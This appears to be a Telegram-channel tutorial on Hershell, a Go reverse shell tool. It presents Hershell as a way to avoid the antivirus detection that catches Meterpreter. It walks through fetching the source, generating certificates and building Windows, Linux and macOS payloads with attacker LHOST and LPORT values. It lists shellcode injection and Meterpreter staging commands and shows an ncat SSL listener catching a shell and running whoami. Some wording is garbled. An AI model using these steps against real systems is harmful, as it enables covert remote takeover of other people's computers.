UNDERCODE COMMUNITY

▁ ▂ ▄ ｕ𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑REVERSE SHELL GENERATOR TUTORIAL BY UNDERCODE :
t.me/UndercodeTesting

🦑𝕃𝔼𝕋'𝕊 𝕊𝕋𝔸ℝ𝕋 :

The current version of Hershell supports the following operating systems:

Windows

Linux

macOS

FreeBSD

Development purpose

🦑 Although Meterpreter Payload can sometimes be used, antivirus products can easily detect this method. Therefore, Hershell came into being, it can provide us with TCP-based reverse Shell, and can support a variety of different operating system platforms.

Tools use related components

Hershell was developed using Go language. First, we need to complete the Go environment settings on the device according to the Go official manual, and then set the $ GOPATH environment variable.

Next, run the following command to obtain the project source code:

go get github.com/lesnuages/hershell

Build payload

When building the payload, we can choose to use the provided Makefile to complete the build. At this point, we need to set the following environment variables:

GOOS: target operating system

GOARCH: target architecture

LHOST: attacker IP or host domain name

LPORT: listener port

Of course, we also provide some variable values in the Makefile for reference:

depends: Generate server certificate (required for reverse shell)

Windows32: Generate 32-bit Windows executable file (PE 32-bit)

Windows64: Build 64-bit Windows executable file (PE 64-bit)

linux32: build a 32-bit Linux executable file (ELF 32-bit)

linux64: build 64-bit Linux executable files (ELF 64-bit)

macos32: build a 32-bit macOS executable file (Mach-O)

macos64: build a 64-bit macOS executable file (Mach-O)

For the target platform in the above list, we also need to set two environment variables LHOST and LPORT.

🦑 Use reverse Shell

After the code starts executing, the tool will provide us with a remote shell, which is a custom interactive shell that allows us to execute system commands through cmd.exe on Windows or / bin / sh on Unix devices.

The following table shows some specific commands supported by Hershell:

run_shell: Get the system shell

inject <base64 shellcode>: Inject shellcode (Base64 encoding) into the same process memory and execute the code.

meterpreter [tcp | http | https: IP: PORT: establish a connection with multiple processors, and obtain the second stage reverse TCP, HTTP or HTTPS meter from Metasploit, and then execute Shellcode in memory (this function is currently only supported on Windows platform).

exit: Exit the program

Tool use

🦑 First, we need to use the following command to generate a valid certificate:

$ make depends

openssl req -subj '/CN=yourcn.com/O=YourOrg/C=FR' -new -newkey rsa:4096 -days 3650 -nodes -x509 -keyout server.key -out server.pem

Generating a 4096 bit RSA private key

....................................................................................++

.....++

writing new private key to 'server.key'

-----

cat server.key >> server.pem

For Windows platforms:

# Predifined 32 bit target

$ make windows32 LHOST = 192.168.0.12 LPORT = 1234

# Predifined 64 bit target

$ make windows64 LHOST = 192.168.0.12 LPORT = 1234

For Linux platforms:

# Predifined 32 bit target

$ make linux32 LHOST = 192.168.0.12 LPORT = 1234

# Predifined 64 bit target

$ make linux64 LHOST = 192.168.0.12 LPORT = 1234

For macOS platform:

$ make macos LHOST = 192.168.0.12 LPORT = 1234

🦑Tool usage examples

Basic use

We can use various tools to handle incoming connections, for example:

shocked

ncat

openssl server module

🦑Various handlers of Metasploit (python / shell_reverse_tcp_ssl payload)

The following is an example using ncat:

$ ncat --ssl --ssl-cert server.pem --ssl-key server.key -lvp 1234

Ncat: Version 7.60 ( https://nmap.org/ncat )

Ncat: Listening on :::1234

Ncat: Listening on 0.0.0.0:1234

Ncat: Connection from 172.16.122.105.

Ncat: Connection from 172.16.122.105:47814.

[hershell]> whoami

desktop-3pvv31a\lab

160 views20:01